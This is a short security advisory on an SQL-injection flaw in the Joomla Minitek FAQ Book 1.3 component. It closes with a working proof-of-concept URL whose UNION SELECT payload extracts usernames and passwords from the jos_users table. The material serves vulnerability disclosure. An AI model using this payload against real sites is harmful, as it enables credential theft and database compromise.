source: http://www.securityfocus.com/bid/48223/info

Joomla Minitek FAQ Book is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Joomla Minitek FAQ Book 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/demo16/faq-book?view=category&id=-7+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+jos_users--